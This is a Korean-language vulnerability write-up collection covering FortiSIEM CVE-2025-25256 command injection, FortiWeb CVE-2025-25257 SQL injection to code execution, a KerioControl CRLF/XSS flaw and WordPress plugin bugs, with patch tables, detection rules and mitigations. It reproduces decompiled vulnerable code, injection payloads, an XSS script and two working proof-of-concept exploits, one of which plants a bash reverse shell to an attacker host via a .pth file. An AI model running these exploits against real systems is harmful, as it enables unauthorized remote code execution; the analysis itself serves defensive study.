1. FortiSIEM

- Fortinet에서 제공하는 보안 정보 및 이벤트 관리(SIEM) 솔루션 [1]

2. CVE-2025-25256

[사진 1] CVE-2025-25256 [2]

- FortiSIEM의 phMonitor 서비스에서 특수문자 처리가 부적절하여 발생하는 OS 명령 실행 취약점 (CVSS: 9.8)

영향받는 버전
- FortiSIEM 5.4 모든 버전
- FortiSIEM 6.1, 6.2, 6.3, 6.4, 6.5, 6.6 모든 버전
- FortiSIEM 6.7.0 ~ 6.7.9
- FortiSIEM 7.0.0 ~ 7.0.3
- FortiSIEM 7.1.0 ~ 7.1.7
- FortiSIEM 7.2.0 ~ 7.2.5
- FortiSIEM 7.3.0 ~ 7.3.1

 

- FortiSIEM의 phMonitor 서비스는 FortiSIEM 프로세스의 상태를 모니터링하는 역할을 수행 [3] 
> C++ 바이너리 형태로 구현되어 있으며, TCP 포트 7900번에서 TLS 기반의 사용자 정의 RPC 프로토콜을 사용하여 수신 대기
> AppSvr에서 전달된 작업을 Supervisor의 여러 프로세스와 Worker의 phMonitor에 분배하고, phMonitor는 이를 다시 Worker 노드의 각 프로세스에 전달

Monitors the health of FortiSIEM processes. Distributes tasks from AppSvr to various processes on Supervisor and to phMonitor on Worker for further dustribution to processes on Worker nodes.

 

- 취약점은 phMonitor 서비스의 handleStorageArchiveRequest()에서 사용자 입력에 대한 부적절한 검증으로 인해 발생

> 내부적으로 addParaSafe()를 사용하나, 해당 함수는 입력 내용이 주변 리터럴 문자열에서 벗어나는 것을 방지하기 위해 따옴표를 이스케이프 처리 (유효성 검증을 제대로 수행하지 않음)

__int64 __fastcall phMonitorProcess::handleStorageArchiveRequest(
        phMonitorProcess *event_id,
        int a2,
        unsigned int a3,
        void *a4,
        const char *a5,
        void *a6,
        phSockStream *a7)
{

[..SNIP..]

  phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity(
      "phMonitorProcess.cpp",
      11547,
      128,
      (unsigned int)PH_TASK_FAILED,
      "Failed to handle storage request: cannot get process");
    goto LABEL_26;
  }
  v84 = *((_DWORD *)v85 + 260);
  if ( (unsigned int)(v84 - 1) > 1 )  // [1] Check if process type is Super (1) or Worker (2)
  {
    v99 = 303;
    phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity(
      "phMonitorProcess.cpp",
      11558,
      128,
      (unsigned int)PH_TASK_FAILED,
      "handleStorageArchiveRequest can only run on Super or Worker");
    goto LABEL_26;
  }
  if ( !a6 )  // [2] Check if data was provided
  {
    **v99 = 304;
    phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity("phMonitorProcess.cpp", 11565, 128, (unsigned int)PH_MONITOR_NOTIFICATION_CMD_EMPTY, v41);
    goto LABEL_26;
  }
  v76 = v115;
  v115[0] = &v116;
  v115[1] = 0;
  v116 = 0;
  std::string::_M_replace(v115, 0, 0, a6, v8);
  v102 = 0;
  v101 = (char *)&`vtable for'phBaseXmlParser + 16;
  v103 = (char *)&`vtable for'XmlParserErrorHandler + 16;
  v75 = (phBaseXmlParser *)&v101;
  v11 = phBaseXmlParser::parseXml((phBaseXmlParser *)&v101, v115[0], v8);  // [3] Parse the received XML data
  if ( !v11 )
  {
    v99 = 305;
    phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity("phMonitorProcess.cpp", 11577, 128, (unsigned int)PH_UNABLE_PARSE_XML, v48);
    goto LABEL_90;
  }
  v12 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v11 + 104LL))(v11);
  v13 = v12;
  if ( !v12 )
  {
    v99 = 305;
    phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity("phMonitorProcess.cpp", 11586, 128, (unsigned int)PH_UNABLE_PARSE_XML, v42);
LABEL_90:
    v23 = 0;
    goto LABEL_75;
  }
  v117[1] = 0;
  v70 = v117;
  v117[0] = &v118;
  v118 = 0;
  phBaseXmlParser::getNodeValue(v12, "scope", v117);  // [4] Extract 'scope' element from XML
  LOBYTE(is_scope_local) = (unsigned int)std::string::compare(v117, "local") != 0;
  Instance = phConfigurations::getInstance((phConfigurations *)v117);
  v86 = v134;
  std::string::basic_string<std::allocator<char>>(v134, phConstants::PH_CONFIG_MODULE_GLOBAL);

[..SNIP..]

 
  phBaseXmlParser::getNodeValue(v13, "archive_storage_type", &archive_storage_type);  // [5] Extract 'archive_storage_type' from XML
  if ( !(unsigned int)std::string::compare(&archive_storage_type, "hdfs") )  // [6] Check if storage type is HDFS
  {
    std::string::assign(v153, "hdfs");
    goto LABEL_36;
  }
  if ( (unsigned int)std::string::compare(&archive_storage_type, "nfs") )  // [7] Check if storage type is NFS
  {
    v99 = 306;
    phSockStream::send_n(a7, &v99, 4u, 0, 0);
    logMessageWithSeverity(
      "phMonitorProcess.cpp",
      11733,
      128,
      (unsigned int)PH_MONITOR_STORAGE_TYPE_UNKNOWN,
      archive_storage_type);
    v23 = 0;
    goto LABEL_98;
  }
  v124 = 0;
  v63 = &archive_nfs_server_ip;
  archive_nfs_server_ip = v125;
  v64 = &archive_nfs_archive_dir;
  v125[0] = 0;
  archive_nfs_archive_dir = v128;
  v127 = 0;
  v128[0] = 0;
  if ( (unsigned int)phBaseXmlParser::getNodeValue(v13, "archive_nfs_server_ip", &archive_nfs_server_ip) != -1 && v124 )  // [8] Extract NFS server IP from XML
  {
    if ( (unsigned int)phBaseXmlParser::getNodeValue(v13, "archive_nfs_archive_dir", &archive_nfs_archive_dir) == -1  // [9] Extract NFS archive directory from XML
      || !v127 )
    {
      std::string::assign(v113, "archive nfs mount_point missing");
    }
  }
  else
  {
    std::string::assign(v113, "archive nfs server_ip missing");
  }
  if ( !(unsigned int)std::string::compare(v113, "success") )  // [10] Check if both NFS parameters were successfully extracted
  {
    std::string::assign(v153, "nfs");
    std::string::_M_assign(v155, &archive_nfs_server_ip);
    std::string::_M_assign(v157, &archive_nfs_archive_dir);
    std::string::basic_string<std::allocator<char>>(&requested_time, storage_script);  // [11] Set script path (/opt/phoenix/deployment/jumpbox/datastore.py)
    std::string::basic_string<std::allocator<char>>(&v111, "nfs");  // [12] Set storage type parameter
    v50 = "test";
    if ( (_DWORD)event_id != 91 )  // [13] Determine operation type: "test" or "save"
      v50 = "save";
    std::string::basic_string<std::allocator<char>>(&v112, v50);
    v105.tv_sec = 0;
    v105.tv_nsec = 0;
    v106 = 0;
    v62 = operator new(0x60u);
    v105.tv_sec = v62;
    v106 = v62 + 96;
    v72 = (_QWORD *)v62;
    p_requested_time = (void **)&requested_time;
    v65 = (__syscall_slong_t)v113;
    do
    {
      *v72 = v72 + 2;
      std::string::_M_construct<char *>(v72, *p_requested_time, (char *)p_requested_time[1] + (_QWORD)*p_requested_time);
      p_requested_time += 4;
      v72 += 4;
    }
    while ( p_requested_time != v113 );
    v105.tv_nsec = (__syscall_slong_t)v72;
    ShellCmd::ShellCmd(&v129);  // [14] Initialize shell command object
    std::vector<std::string>::~vector(&v105);
    v87 = (__int64)&requested_time;
    v51 = a6;
    v52 = v113;
    do
    {
      v52 -= 4;
      if ( *v52 != v52 + 2 )
        operator delete(*v52);
    }
    while ( v52 != (void **)&requested_time );
    a6 = v51;
    LODWORD(v87) = (_DWORD)event_id;
    ShellCmd::addParaSafe(&v129, &archive_nfs_server_ip);  // [15] Add NFS server IP as parameter
    ShellCmd::addParaSafe(&v129, &archive_nfs_archive_dir);  // [16] Add NFS archive directory as parameter
    std::string::basic_string<std::allocator<char>>(v134, " \\t\\r\\n\\v'");
    v71 = v132;
    std::string::basic_string<std::allocator<char>>(v132, "archive");
    ShellCmd::addPara(&v129, v132, v134);  // [17] Add "archive" parameter
    if ( v132[0] != v133 )
      operator delete(v132[0]);
    if ( (_BYTE *)v134[0] != v135 )
      operator delete(v134[0]);
    LOBYTE(requested_time.tv_sec) = 0;
    ShellCmd::str[abi:cxx11](v134, &v129);  // [18] Build the complete command string
    phMiscUtils::do_system_cancellable(  // [19] Execute the system command
      v134[0],
      (const char *)&requested_time,
      (bool *)&dword_0 + 1,
      0,
      (unsigned int)&v98,
      0,
      v62);

 

[1] 현재 phMonitor 프로세스가 Supervisor 모드인지 Worker 모드인지 확인

[2] a2가 NULL 포인터가 아닌지 확인 (a2는 함수에 전달되는 데이터를 가지는 힙 버퍼)

[3] 제공된 XML 형식의 데이터를 phBaseXmlParser::parseXml()을 통해 파싱

[4] XML에서 <scope> 요소의 값을 추출하고, 값이 local인지 확인

[5] XML에서 <archive_storage_type> 요소의 값을 추출

[6] <archive_storage_type> 값이 hdfs이면 실행 중지

[7] <archive_storage_type> 값이 nfs이면 계속 실행

[8] XML에서 <archive_nfs_server_ip> 추출

[9] XML에서 <archive_nfs_archive_dir> 추출

[10] archive_nfs_server_ip와 archive_nfs_archive_dir가 모두 존재하는지 확인

[11] /opt/phoenix/deployment/jumpbox/datastore.py 문자열을 포함하는 std::basic_string 객체를 생성 (실행될 명령의 첫 번째 인자)

[12] 저장소 유형 인자를 nfs로 설정

[13] PktType 값 (90 또는 91)에 따라 저장소 동작을 test 또는 save로 설정

[14] ShellCmd::ShellCmd() 객체를 인스턴스화

[15] 안전하지 않은 ShellCmd::addParaSafe를 사용하여 archive_nfs_server_ip를 인자로 추가

[16] 안전하지 않은 ShellCmd::addParaSafe를 사용하여 archive_nfs_archive_dir를 인자로 추가

[17] 마지막 인자로 리터럴 문자열 "archive"를 추가

[18] 최종 명령 문자열 빌드

[19] 명령 실행

 

- 위 내용을 모두 만족하는 XML 페이로드 및 실제 FortiSIEM에서 실행되는 명령은 다음과 같음

[XML 페이로드]
<root>

   <archive_storage_type>nfs</archive_storage_type>
   <archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
   <archive_nfs_archive_dir>/nfs1</archive_nfs_archive_dir>
   <scope>local</scope>
</root>

[실행 명령]

/opt/phoenix/deployment/jumpbox/datastore.py nfs test 127.0.0.1 /nfs1 archive

 

- 공격자는 다음과 같은 XML 페이로드를 사용해 취약점 악용 가능

[XML 페이로드]
<root>

   <archive_storage_type>nfs</archive_storage_type>
   <archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
   <archive_nfs_archive_dir>`touch${IFS}/tmp/boom`</archive_nfs_archive_dir>
   <scope>local</scope>
</root>

[실행 명령]

/opt/phoenix/deployment/jumpbox/datastore.py nfs test 127.0.0.1 touch${IFS}/tmp/boom archive

 

2.1 PoC

- PktType 및 <archive_storage_type> 값을 각각 90 및 nfs로 설정하며, <archive_nfs_archive_dir> 값을 악성 명령으로 설정 [4]

import ssl
import argparse
import socket

def build_message(payload):
    header_values = [
        90,                 
        len(payload),       
        1075724911,       
        0                   
    ]
    header = b''.join(val.to_bytes(4, byteorder='little') for val in header_values)
    return header + payload.encode()

XML_TEMPLATE = """
<root>
    <archive_storage_type>nfs</archive_storage_type>
    <archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
    <archive_nfs_archive_dir>`{peanut}`</archive_nfs_archive_dir>
    <scope>local</scope>
</root>
"""
def exploit(target, xml_payload):
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    with socket.create_connection((target, 7900)) as sock:
        with context.wrap_socket(sock, server_hostname=target) as ssock:
            message = build_message(xml_payload)
            ssock.sendall(message)
            print("[+] Packet Sent! ^-^")
            try:
                response = ssock.recv(1024)
            except Exception:
                print("[!] Something went wrong!")

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            

        watchTowr-vs-FortiSIEM-CVE-2025-25256.py

        (*) FortiSIEM Unauthenticated Remote Command Execution Detection Artifact Generator
        
          - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2025-25256]
"""
print(banner)

parser = argparse.ArgumentParser(description="Detection Artifact Generator for CVE-2025-25256")
parser.add_argument('-r', '--target', required=True, help='Target IP address')
parser.add_argument('-c', '--command', required=False, default="peanutioc", help='Command to execute')
args = parser.parse_args()

c = args.command.replace(' ', '${IFS}')
xml_payload = XML_TEMPLATE.format(peanut=c)
exploit(args.target, xml_payload)

3. 대응방안

- 벤더사 제공 업데이트 적용 [5][6][7]

> ShellCmd::addParaSafe 함수를 ShellCmd::addHostnameOrIpParam과 ShellCmd::addDiskPathParam으로 변경

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-25256 FortiSIEM 7.3.0 이상 ~ 7.3.1 이하 7.3.2 이상
7.2.0 이상 ~ 7.2.5 이하 7.2.6 이상
7.1.0 이상 ~ 7.1.7 이하 7.1.8 이상
7.0.0 이상 ~ 7.0.3 이하 7.0.4 이상
6.7.0 이상 ~ 6.7.9 이하 6.7.10 이상
6.6 모든 버전 고정 릴리즈로 마이그레이션
(7.4 이상, 7.3.2 이상, 7.2.6 이상, 7.1.8 이상 , 7.0.4 이상, 6.7.10 이상)
6.5 모든 버전
6.4 모든 버전
6.3 모든 버전
6.2 모든 버전
6.1 모든 버전
5.4 모든 버전

 

- 즉각적인 업데이트가 불가할 경우

> TCP 포트 7900에 대한 엄격한 액세스 제어 구현

4. 참고

[1] https://www.fortinet.com/kr/products/siem/fortisiem
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-25256
[3] https://help.fortinet.com/fsiem/6-7-6/Online-Help/HTML5_Help/Viewing_Cloud_Health.htm?ref=labs.watchtowr.com
[4] https://github.com/watchtowrlabs/watchTowr-vs-FortiSIEM-CVE-2025-25256?ref=labs.watchtowr.com
[5] https://fortiguard.fortinet.com/psirt/FG-IR-25-152
[6] https://docs.fortinet.com/document/fortisiem/7.4.0/fortisiem-os-update-procedure/574280/fortisiem-os-update-procedure
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71841&menuNo=205020
[8] https://cybersecuritynews.com/fortinet-fortisiem-command-injection-vulnerability/
[9] https://thehackernews.com/2025/08/fortinet-warns-about-fortisiem.html
[10] https://arcticwolf.com/resources/blog/cve-2025-25256

1. Fortinet FortiWeb

- Fortinet의 웹 애플리케이션 방화벽 솔루션 [1]

2. CVE-2025-25257

[사진 1] CVE-2025-25257 [2]

- get_fabric_user_by_token() 함수가 입력값을 적절한 검증 없이 SQL 쿼리에 포함시켜 실행하여 발생하는 SQL 인젝션 취약점 (CVSS: 9.8)

> 단순히 DB에서 정보를 추출하는 것을 넘어 서버 내 파일을 작성하는 방식으로 원격 코드 실행까지 가능

영향받는 버전
- Fortinet FortiWeb 7.6.0 ~ 7.6.3
- Fortinet FortiWeb 7.4.0 ~ 7.4.7
- Fortinet FortiWeb 7.2.0 ~ 7.2.10
- Fortinet FortiWeb 7.0.0 ~ 7.0.10

 

- 취약점은 Fabric Connector에 존재하는 함수 get_fabric_user_by_token()에 존재 [3]
> Fabric Connector : FortiWeb 장비를 다른 Fortinet 서비스 및 장비와 통합할 수 있음 [4]

 

- fabric_access_check()를 통해 호출

> 해당 함수에서 Authorization 헤더의 값을 추출하고 문자열 Bearer로 시작하는 값을 인자로 get_fabric_user_by_token() 호출

__int64 __fastcall fabric_access_check(__int64 a1)
{
  __int64 v1; // rdi
  __int64 v2; // rax
  _OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF
  char v5; // [rsp+80h] [rbp-20h]
  unsigned __int64 v6; // [rsp+88h] [rbp-18h]

  v1 = *(_QWORD *)(a1 + 248);
  v6 = __readfsqword(0x28u);
  v5 = 0;
  memset(v4, 0, sizeof(v4));
  v3 = apr_table_get(v1, "Authorization"); // [1]
  if ( (unsigned int)__isoc23_sscanf(v2, "Bearer %128s", v4) != 1 ) // [2]
    return 0;
  v5 = 0;
  if ( (unsigned int)fabric_user_db_init()
    || (unsigned int)refresh_fabric_user()
    || (unsigned int)get_fabric_user_by_token((const char *)v4) ) // [3]
  {
    return 0;
  }
  else
  {
    return 2 * (unsigned int)((unsigned int)update_fabric_user_expire_time_by_token((const char *)v4) == 0);
  }
}

 

- get_fabric_user_by_token()는 전달받은 값을 검증 없이 SQL 쿼리에 포함시켜 실행

__int64 __fastcall get_fabric_user_by_token(const char *a1)
{
  unsigned int v1; // ebx
  __int128 v3; // [rsp+0h] [rbp-4B0h] BYREF
  __int64 v4; // [rsp+10h] [rbp-4A0h]
  _BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF
  __int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h]
  __int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h]
  void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h]
  __int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h]
  void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h]
  char s[16]; // [rsp+80h] [rbp-430h] BYREF
  _BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF
  unsigned __int64 v13; // [rsp+488h] [rbp-28h]

  v13 = __readfsqword(0x28u);
  *(_OWORD *)s = 0;
  memset(v12, 0, sizeof(v12));
  if ( a1 && *a1 )
  {
    init_ml_db_obj((__int64)v5);
    v1 = v6(v5);
    if ( !v1 )
    {
    
	    **// VULN
      snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);**
      
      [..SNIP..]

 

[사진 2] 공격 예시

3. PoC

- {args.target}/api/fabric/device/status URL로 Authorization 헤더를 조작한 요청 전송 [5]

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import binascii
import random
from time import sleep
banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            

        watchTowr-vs-FortiWeb-CVE-2025-25257.py

        (*) FortiWeb Unauthenticated SQLi to Remote Code Execution Detection Artifact Generator
        
          - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2025-25257]
"""
print(banner)

parser = argparse.ArgumentParser(description='Detection Artifact Generator for CVE-2025-25257')
parser.add_argument('--target', required=True, help='Target URL')
parser.add_argument('--lhost', required=True)
parser.add_argument('--lport', required=True)
args = parser.parse_args()

# 리버스 셸 Python 코드 생성
args.command = f"""import os; os.system('bash -c "/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"')"""
args.target = args.target.rstrip('/')

s = requests.Session()
s.verify = False 

# 명령어를 chunk 단위로 나누어 token 필드에 저장
def build_token_updates(encoded_hex: str, chunk_size: int = 10):
    if chunk_size % 2 != 0:
        print("[!] chunk size must be even bro")
        exit(1)

    chunks = [encoded_hex[i : i + chunk_size]
              for i in range(0, len(encoded_hex), chunk_size)]

    # SQL 페이로드로 DB 업데이트
    for idx, piece in enumerate(chunks):
        if idx == 0:
            sql = (
                f"SET/**/token=UNHEX('{piece}')"
            )
        else:
            sql = (
                f"SET/**/token=CONCAT(token,UNHEX('{piece}'))"
            )
        
        # Authorization 헤더에 SQL Injection 페이로드 삽입 및 GET 요청 전송
        payload = (
            f"Bearer '/**/;UPDATE/**/fabric_user.user_table/**/"
            f"{sql};SELECT/**/'1'"
        )
        s.headers.update({'Authorization': payload})
        s.get(f"{args.target}/api/fabric/device/status")
        print(f"[*] sprayed chunk #{idx+1}/{len(chunks)}:\t{piece!r}")
        sleep(1)

# 리버스 셸 명령을 인코딩한 후 token 업데이트
encoded_command = binascii.hexlify(args.command.encode()).decode()
build_token_updates(encoded_command)

# token 값을 x.pth 파일에 덤프하는 SQL 구문을 Authorization 헤더 값으로 설정
s.headers.update({
    'Authorization': f"Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth"
})

# GET 요청 전송
s.get(f"{args.target}/api/fabric/device/status")

print("\n[*] Pop thy shell!")
s.headers.pop('Authorization', None)
s.head(f"{args.target}/cgi-bin/ml-draw.py")

4. 대응방안

- 벤더사 제공 업데이트 적용 [6]

> 임시 조치로는 HTTP/HTTPS 기반 관리자 인터페이스를 비활성화할 것을 권장

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-25257 FortiWeb Fortinet FortiWeb 7.6.0 ~ 7.6.3 7.6.4
Fortinet FortiWeb 7.4.0 ~ 7.4.7 7.4.8
Fortinet FortiWeb 7.2.0 ~ 7.2.10 7.2.11
Fortinet FortiWeb 7.0.0 ~ 7.0.10 7.0.11

 

- 요청에서 Authorization: Bearer 값을 탐지할 수 있는 정책 적용

5. 참고

[1] https://www.fortinet.com/kr/products/web-application-firewall/fortiweb
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-25257
[3] https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257
[4] https://docs.fortinet.com/document/fortiweb/7.6.4/administration-guide/721945/fabric-connectors
[5] https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257
[6] https://fortiguard.fortinet.com/psirt/FG-IR-25-151
[7] https://www.dailysecu.com/news/articleView.html?idxno=167883

1. GFI KerioControl [1]

- 통합 네트워크 보안 솔루션
- 방화벽, VPN, 웹 필터링, 바이러스 방지, 네트워크 모니터링 기능 제공

2. CVE-2024-52875 [2]

- KerioControl에서 발생하는 CRLF 인젝션 취약점

> HTTP 헤더와 응답 내용을 조작하여, 악성 자바스크립트가 서버 응답에 삽입

> 스크립트가 실행되면 인증된 관리자 사용자의 쿠키 또는 CSRF 토큰을 탈취하며, 토큰을 활용해 악성 .IMG 파일 업로 및 루트 권한의 쉘 스크립트 실행

영향받는 버전 : KerioControl 9.2.5 ~ 9.4.5
CRLF (Carriage Return Line Feed) Injection
- CR (Carrige Return: \r, %0D) : 커서의 위치를 현재 줄의 맨 처음으로 보내는 기능
- LF (Line Feed: \n, %0A) : 커서를 다음 줄로 옮기는 기능
> CRLF는 줄 바꿈을 의미

- HTTP 요청과 응답은 Header와 Body로 구성되며, 이를 CRLF로 구분
- 요청 또는 응답에 CRLF를 추가해 Header와 Body를 분리하여 의도하지 않은 Header를 추가하거나 Body에 명령 추가가 가능한 취약점

 

- dest 파라미터에서 줄 바꿈 문자(Line Feed, LF)에 대한 불충분한 검증으로 인해 발생

> dest 파라미터를 통해 전달된 값은 Location 헤더로 설정되어 HTTP 응답

> Location 헤더는 HTTP 응답에서 클라이언트에게 리소스가 이동된 URL을 알려주는 데 사용되며, 주로 3xx 리다이렉션 응답에 사용

[요청]
GET /nonauth/guestConfirm.cs?dest=aHR0cDovL2F0dGFja2VyLndlYnNpdGU= HTTP/1.1
Host: 192.168.123.64:4081
Connection: close

* aHR0cDovL2F0dGFja2VyLndlYnNpdGU= : hxxp://attacker.website

[응답]
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:03:38 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: hxxp://attacker.website
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge

If your browser does not redirect automatically, please click this link: <a href="hxxp://attacker.website">hxxp://attacker.website</a>

 

- dest 매개변수에 "\n"이 포함된 값을 전달하면 불충분한 검증으로 Header와 Body를 조작 및 분할할 수 있음

> 아래 응답 예시에서 Header는 HTTP/1.1 302 Found ~ Location: Test 이며 Body는 Test ~ Test</a>로 조작됨

[요청]
GET /nonauth/guestConfirm.cs?dest=VGVzdAoKVGVzdA== HTTP/1.1
Host: 192.168.123.64:4081
Connection: close

* VGVzdAoKVGVzdA== : Test\n\nTest

[응답]
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:34:58 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test


Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge

If your browser does not redirect automatically, please click this link: <a href="Test

Test">Test

Test</a>

 

- 공격자는 dest 매개변수에 \n\n를 포함하는 악성 스크립트를 삽입해 악성 스크립트 실행 가능 [3]

스크립트 예시

<script>
 target = "192.168.123.64"; // IP address / hostname of the Kerio Control instance
 payload = (navigator.userAgent.includes("Firefox")) ? "resource://xss" : "";
 payload += "\n\n<script>alert('XSS on ' + document.domain)<\/script>";
 location.href = "https://" + target + ":4081/nonauth/guestConfirm.cs?dest=" + encodeURIComponent(btoa(payload));
</script>

[사진 1] 공격 결과

3. 대응방안

- 벤더사 제공 업데이트 적용

제품명 영향받는 버전 해결 버전
KerioControl 9.2.5 ~ 9.4.5 9.4.5 패치 1

 

- 신뢰할 수 있는 IP만 웹 관리 인터페이스에 접근할 수 있도록 제한

- /admin 및 /noauth 페이지에 대한 공개 접근을 방화벽 규칙을 통해 비활성화

- dest 파라미터 대상 한 악성 활동 모니터링

- alert tcp any any -> any any (msg:"CVE-2024-52875"; content:"/nonauth/guestConfirm.cs?dest="; http_uri; nocase;)
- alert tcp any any -> any any (msg:"CVE-2024-52875"; content:"/admin/guestConfirm.cs?dest="; http_uri; nocase;)
- alert tcp any any -> any any (msg:"CVE-2024-52875"; content:"\n\n";)

4. 참고

[1] https://gfi.ai/products-and-solutions/network-security-solutions/keriocontrol
[2] https://karmainsecurity.com/hacking-kerio-control-via-cve-2024-52875
[3] https://karmainsecurity.com/pocs/CVE-2024-52875.php
[4] https://www.dailysecu.com/news/articleView.html?idxno=162867

1. Fancy Product Designer

- 온라인에서 의류, 머그컵, 휴대폰 케이스 등을 사용자 맞춤형으로 디자인할 수 있게 해주는 Worpress 플러그인 [2]

2. 취약점

2.1 CVE-2024-51818 [3]

- 취약점은 class-wc-dokan.php의 get_products_sql_attrs() 함수에 존재
> 해당 함수는 class-product.php의 get_products()에 의해 호출
> Line13 : $attrs를 매개변수로 fpd_get_products_sql_attrs() 호출

 

- get_products_sql_attrs()
> Line23 : fpd_filter_users_select 값이 존재하고, -1이 아닌 경우 if문 실행
> Line24 : "user_id=" 문자열 뒤 strip_tags($_POST['fpd_filter_users_select'])를 추가한 결과를 $where 변수에 할당

 

strip_tags()는 NULL bytes와 HTML 및 PHP 태그를 제거하는 함수로 SQL 공격을 방지하지 못함 [4]
> Line29~31 : $where 값은 get_products()의 $wpdb->get_results로 쿼리에 실행

[사진 1] strip_tags()

inc/api/class-product.php, function get_products()
1     public static function get_products( $attrs = array(), $type = 'catalog' ) {
2     
3     global $wpdb;
4     
5     $defaults = array(
6     'cols' => '*',
7     'where' => '',
8     'order_by' => '',
9     'limit' => null,
10     'offset' => null
11     );
12     
13     $attrs = apply_filters( 'fpd_get_products_sql_attrs', $attrs );
14     
15     extract( array_merge( $defaults, $attrs ) );
16     
17     $products = array();
18     if( fpd_table_exists(FPD_PRODUCTS_TABLE) ) {
19     
20     $where = empty($where) ? $wpdb->prepare( 'WHERE type="%s"', $type) : $wpdb->prepare( 'WHERE type="%s" AND ', $type ) . $where;
21     
22     if( !preg_match('/^[a-zA-Z]+\\s(ASC|DESC)$/', $order_by) )
23     $order_by = '';
24     $order_by = empty($order_by) ? '' : 'ORDER BY '. $order_by;
25     
26     $limit = empty($limit) ? '' : $wpdb->prepare( 'LIMIT %d', $limit );
27     $offset = empty($offset) ? '' : $wpdb->prepare( 'OFFSET %d', $offset );
28     
29     $products = $wpdb->get_results(
30     SELECT $cols FROM .FPD_PRODUCTS_TABLE." $where $order_by $limit $offset"
31     );
32     
33     }
34     
35     return $products;
36     
37     }

woo/class-wc-dokan.php, function get_products_sql_attrs
1     public function get_products_sql_attrs( $attrs ) {
2     
3     $where = isset( $attrs['where'] ) ? $attrs['where'] : null;
4     
5     if( self::user_is_vendor() ) {
6     
7     $user_ids = array(get_current_user_id());
8     
9     //add fpd products from user
10     $fpd_products_user_id = fpd_get_option( 'fpd_wc_dokan_user_global_products' );
11     
12     //skip if no use is set or on product builder
13     if( $fpd_products_user_id !== 'none' && !(isset( $_GET['page'] ) && $_GET['page'] === 'fpd_product_builder') )
14     array_push( $user_ids, $fpd_products_user_id );
15     
16     $user_ids = join( ",", $user_ids );
17     
18     $where = empty($where) ? "user_id IN ($user_ids)" : $where." AND user_id IN ($user_ids)";
19     
20     }
21     
22     //manage products filter
23     if( isset($_POST['fpd_filter_users_select']) && $_POST['fpd_filter_users_select'] != "-1" ) {
24     $where = "user_id=".strip_tags( $_POST['fpd_filter_users_select'] );
25     
26     
27     $attrs['where'] = $where;
28     
29     return $attrs;
30     
31     }

 

2.2 CVE-2024-51919 [5]

- 취약점은 class-pro-export.php의 save_remote_file() 함수와 fpd-admin-functions.php의 fpd_admin_copy_file() 함수에 존재

 

- save_remote_file()
> Line9 : $remote_file_url을 통해 원격 URL 값을 받아 fpd_admin_copy_file() 호출

 

- fpd_admin_copy_file()
> Line8 : basename($file_url)의 결과를 $filename에 할당
> Line10 ~ Line22 : 파일을 복사 또는 저장
파일에 대한 검사 없이 복사 또는 저장하므로 임의의 파일 업로드가 가능

